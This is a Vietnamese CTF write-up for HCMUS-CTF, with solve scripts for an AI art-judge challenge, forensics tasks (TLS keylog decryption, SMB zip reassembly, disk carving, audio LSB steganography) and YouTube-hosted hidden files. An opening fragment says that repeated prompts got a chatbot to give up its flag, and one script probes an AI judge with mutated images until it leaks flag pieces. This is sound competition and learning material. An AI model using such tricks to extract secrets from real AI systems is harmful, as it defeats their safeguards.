Đầu tiên mình sẽ đưa ra thông tin về con bot và sau đó là những gợi ý mà mình mong muốn con bot suy luận và trả về kết quả như đó:

tiếp theo thì cứ lấy các prompt mà nó gửi đến để gửi cho bot, thì đến cái prompt này thì thành công được bot nhả flag:

Gửi câu lệnh này lên bot và lấy được flag:

## AI/PixelPingu
Thử thách AI này cung cấp 1 đường dẫn Link: http://103.199.17.56:25001/:

Và ngoài ra cũng cung cấp thêm source docker.
Đại khái là Sử dụng HTML5 Canvas với JavaScript để vẽ trên canvas 512x512, sau đó downscale về 128x128 và convert thành RGBA byte array để submit.
Cụ thể:
* Frontend: HTML5 Canvas + JS tools (brush, palette, clear, fill, eraser)
* Canvas size: 512x512 để vẽ → 128x128 preview để submit
* Data format: Canvas pixels → ImageData → RGBA array → POST request
Để solve challeng này ta Cần có một ảnh làm base để mutate, ở đây mình dùng ảnh này gen từ AI (**Có thể là ảnh penguin hoặc bất kỳ ảnh nào có structure**):

Solve Script:
```
import requests, random
from PIL import Image, ImageFilter, ImageOps
host = "http://103.199.17.56:25001"
endP = "/submit_artwork"
def iMage(img: Image.Image):
img = img.resize((128,128)).convert("RGBA")
return {"canvas_data": list(img.tobytes())}
def send(img):
r = requests.post(host+endP, json=iMage(img), timeout=10)
r.raise_for_status()
return r.json()
def mutate(im):
x = im.copy()
ops = [lambda i: i.rotate(90, expand=True),lambda i: i.filter(ImageFilter.GaussianBlur(4)),lambda i: ImageOps.posterize(i, 2),lambda i: ImageOps.invert(i),]
for i in range(random.randint(1,3)):
x = random.choice(ops)(x)
return x
# Ảnh gốc để mutate
orig = Image.open("E:/hcmus-ctf/44b2dab3-9214-4eef-8267-c9920df92e59.jpg")
print("Original:", send(orig))
seen = set()
parts = {}
for attempt in range(200):
try:
img2 = mutate(orig) # Tạo variations từ ảnh gốc
res = send(img2) # Gửi lên server
fP = res["flag_part"]
if fP not in seen:
seen.add(fP)
parts[fP] = res['judge_score']
print(f"Part {len(seen)}: '{fP}' (score: {res['judge_score']:.1f})")
if len(seen) >= 4:
break
except:
continue
# Reconstruct flag
print(f"\nFound {len(parts)} parts:")
for part, score in sorted(parts.items(), key=lambda x: x[1]):
print(f" '{part}' (score: {score:.1f})")
# Build flag logically
start = [p for p in parts.keys() if 'HCMUS-CTF{' in p][0]
end = [p for p in parts.keys() if p.endswith('}')][0]
middle = [p for p in parts.keys() if 'HCMUS-CTF{' not in p and not p.endswith('}')]
flag = start + ''.join(middle) + end
print(f"\nFinal Flag: {flag}")
```
output:

# Forensics
## Forensics/TLS Challenge
Thử thách cho 1 file pcap và 1 file keylog
Mở file pcap bằng wireshark và load file keylog vào để có thể xem được data của các gói tin https:

Chuột phải follow luồng http và lấy được flag

## Forensics/Trashbin
Thử thách này phần lớn là gói tin smb đang thực hiện tạo ra các file zip trên máy đích trong mạng local
Lưu hết về:

Solve script:

```
#!/bin/bash
for f in *.zip; do
unzip -o "$f" >/dev/null 2>&1
done
ls *.txt | sed 's/.*_\([0-9]\+\)\.txt/\1 &/' | sort -n | cut -d' ' -f2- | xargs cat
```
output:

## Forensics/Disk Partition
Thử thách cung cấp 1 file disk, tiến hành load vào ftk imager để phan tích:

Thấy được flag này trong vùng unallocated space
## Forensics/File Hidden
Ở thử thách này author cung cấp 1 file audio(.wav)
Lúc đầu thì mình mở lên bằng tool sonic gì ấy để xem phổ âm thanh xem có text ẩn trên đó nhưng không thấy và sau khi search gg tìm được blog này về 1 trong những kỹ thuật giấu tin phổ biến qua các bit lsb: https://nitrozeus.gitbook.io/ctfs/2023/brainhack-cddc-2023/audio-steganography
Ở trong blog này cũng có 1 source code để extract các bit giấu theo kiểu lsb ra:

* Sau khi lấy về chạy thử thì kết quả được như này:
* 
Ta thấy có 1 file nén zip chứa flag trong đó nhưng khi lấy về có vẻ bị lỗi nên tôi sẽ tiến hành thêm 1 số chức năng vào source code ở blog trên để lấy file zip và extract flag:
:::spoiler
```
import wave
import os
import zipfile
import io
def extract_lsb_data(wav_file):
with wave.open(wav_file, 'rb') as song:
frame_bytes = bytearray(song.readframes(song.getnframes()))
extracted_bits = [frame_bytes[i] & 1 for i in range(len(frame_bytes))]
bytes_data = bytearray()
for i in range(0, len(extracted_bits), 8):
if i + 8 <= len(extracted_bits):
byte_val = 0
for j in range(8):
byte_val |= (extracted_bits[i + j] << (7 - j))
bytes_data.append(byte_val)
return bytes_data
def fix_zip_data(data):
zip_start = data.find(b'\x50\x4B\x03\x04')
if zip_start == -1:
print("No ZIP signature found!")
return data
zip_data = data[zip_start:]
eocd_signature = b'\x50\x4B\x05\x06'
eocd_pos = zip_data.rfind(eocd_signature)
if eocd_pos != -1:
print(f"End of central directory found at: {eocd_pos}")
zip_data = zip_data[:eocd_pos + 22]
else:
print("End of central directory not found, trying to repair...")
last_header = zip_data.rfind(b'\x50\x4B\x03\x04')
if last_header > 0:
descriptor_pos = zip_data.find(b'\x50\x4B\x07\x08', last_header)
if descriptor_pos != -1:
zip_data = zip_data[:descriptor_pos + 16]
return zip_data
def validate_and_fix_zip(data):
try:
with zipfile.ZipFile(io.BytesIO(data), 'r') as zf:
file_list = zf.namelist()
print(f"Valid ZIP with {len(file_list)} files: {file_list}")
return data, True
except zipfile.BadZipFile:
print("Bad ZIP file detected, attempting to fix...")
fixed_data = fix_zip_data(data)
try:
with zipfile.ZipFile(io.BytesIO(fixed_data), 'r') as zf:
file_list = zf.namelist()
print(f"Successfully fixed ZIP with {len(file_list)} files: {file_list}")
return fixed_data, True
except:
print("Could not fix ZIP file")
return data, False
except Exception as e:
print(f"Error validating ZIP: {e}")
return data, False
def extract_zip(wav_file):
# Extract LSB data
data = extract_lsb_data(wav_file)
zip_sig_pos = data.find(b'\x50\x4B\x03\x04')
if zip_sig_pos >= 0:
print(f"Found ZIP at position {zip_sig_pos}")
data = data[zip_sig_pos:]
fixed_data, is_valid = validate_and_fix_zip(data)
data = fixed_data
else:
print("No ZIP signature found")
return
zip_file = "extracted_fixed.zip"
with open(zip_file, 'wb') as f:
f.write(data)
try:
with zipfile.ZipFile(zip_file, 'r') as zip_ref:
zip_ref.extractall(".")
except zipfile.BadZipFile:
try:
with zipfile.ZipFile(io.BytesIO(data), 'r') as zip_ref:
zip_ref.extractall(".")
except Exception as e:
print(f"Could not repair ZIP: {e}")
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
wav_file = "JACK_J97_|_THIÊN_LÝ_ƠI.wav"
if os.path.exists(wav_file):
extract_zip(wav_file)
else:
print(f"File not found: {wav_file}")
```
:::
output:

# Misc
## Misc/Is This Bad Apple?
Ở thử thách này author cho 1 link du túp:

Có thể thấy video bị làm nhòe rồi, thì mình thử chụp hình ảnh này sau đó dùng gg lens để soi xem có blog hay wu nào có dạng tương tự như này không, thì:
Sau khi tìm kiếm thì cũng thấy 1 bài writeup này:
https://medium.com/@karimelsayed0x1/striking-gold-gg-ctf-a61148a0ca08
* Trong blog này có nói đến việc ẩn file trong video youtube và có gắn cả link tool github:
* 
Tiếp tục làm theo github này: https://github.com/DvorakDwarf/Infinite-Storage-Glitch người ta có hướng dẫn chi tiết:
* Tải video từ youtube về với format khớp với yêu cầu tool trên (.avi): `yt-dlp -f "bestvideo[ext=mp4]+bestaudio[ext=m4a]/best[ext=mp4]/best" --merge-output-format avi https://www.youtube.com/watch?v=X-HSIqgm9Rs`
* Sau khi đã setup thành công như hướng dẫn trên github thì chạy lệnh sau:
```
docker run -it --rm -v ${PWD}:/home/Infinite-Storage-Glitch isg ./target/release/isg_4real
Welcome to ISG (Infinite Storage Glitch)
This tool allows you to turn any file into a compression-resistant video that can be uploaded to YouTube for Infinite Storage:tm:
How to use:
1. Zip all the files you will be uploading
2. Use the embed option on the archive (THE VIDEO WILL BE SEVERAL TIMES LARGER THAN THE FILE, 4x in case of optimal compression resistance preset)
3. Upload the video to your YouTube channel. You probably want to keep it up as unlisted
4. Use the download option to get the video back
5. Use the dislodge option to get your files back from the downloaded video
6. PROFIT
> Pick what you want to do with the program Dislodge
> What is the path to your video ? /home/Infinite-Storage-Glitch/FunnyVideo.avi
> Where should the output go ? /home/Infinite-Storage-Glitch/flag
On frame: 20
On frame: 40
On frame: 60
On frame: 80
On frame: 100
On frame: 120
On frame: 140
Video read successfully
Dislodging frame ended in 4784ms
File written successfully
```
Vào đường dẫn output trên check xem:

thêm ext .png vô và lấy được flag:

## Misc/Is This Bad Apple? - The Sequel
Mình sẽ tìm flag bài này trong link youtube của bài trước

```
/mnt/e/hcmus-ctf/2$ yt-dlp -f "bestvideo+bestaudio" --keep-video --write-description --write-thumbnail --write-subs --write-info-json --sub-format "ass/srt/best" --convert-subs srt -o "%(title)s.%(ext)s" "https://www.youtube.com/watch?v=X-HSIqgm9Rs"
[youtube] Extracting URL: https://www.youtube.com/watch?v=X-HSIqgm9Rs
[youtube] X-HSIqgm9Rs: Downloading webpage
[youtube] X-HSIqgm9Rs: Downloading tv client config
[youtube] X-HSIqgm9Rs: Downloading player 69b31e11-main
[youtube] X-HSIqgm9Rs: Downloading tv player API JSON
[youtube] X-HSIqgm9Rs: Downloading ios player API JSON
[youtube] X-HSIqgm9Rs: Downloading m3u8 information
[info] X-HSIqgm9Rs: Downloading 1 format(s): 247+251
[info] Writing video description to: Funny Video.description
[info] There are no subtitles for the requested languages
[info] Downloading video thumbnail 41 ...
[info] Video Thumbnail 41 does not exist
[info] Downloading video thumbnail 40 ...
[info] Video Thumbnail 40 does not exist
[info] Downloading video thumbnail 39 ...
[info] Video Thumbnail 39 does not exist
[info] Downloading video thumbnail 38 ...
[info] Video Thumbnail 38 does not exist
[info] Downloading video thumbnail 37 ...
[info] Writing video thumbnail 37 to: Funny Video.webp
[info] Writing video metadata as JSON to: Funny Video.info.json
[SubtitlesConvertor] There aren't any subtitles to convert
[download] Destination: Funny Video.f247.webm
[download] 100% of 2.84MiB in 00:00:00 at 8.62MiB/s
[download] Destination: Funny Video.f251.webm
[download] 100% of 7.36KiB in 00:00:00 at 24.62KiB/s
[Merger] Merging formats into "Funny Video.webm"
```
MỞ file .webp ở trong folder và lấy được flag
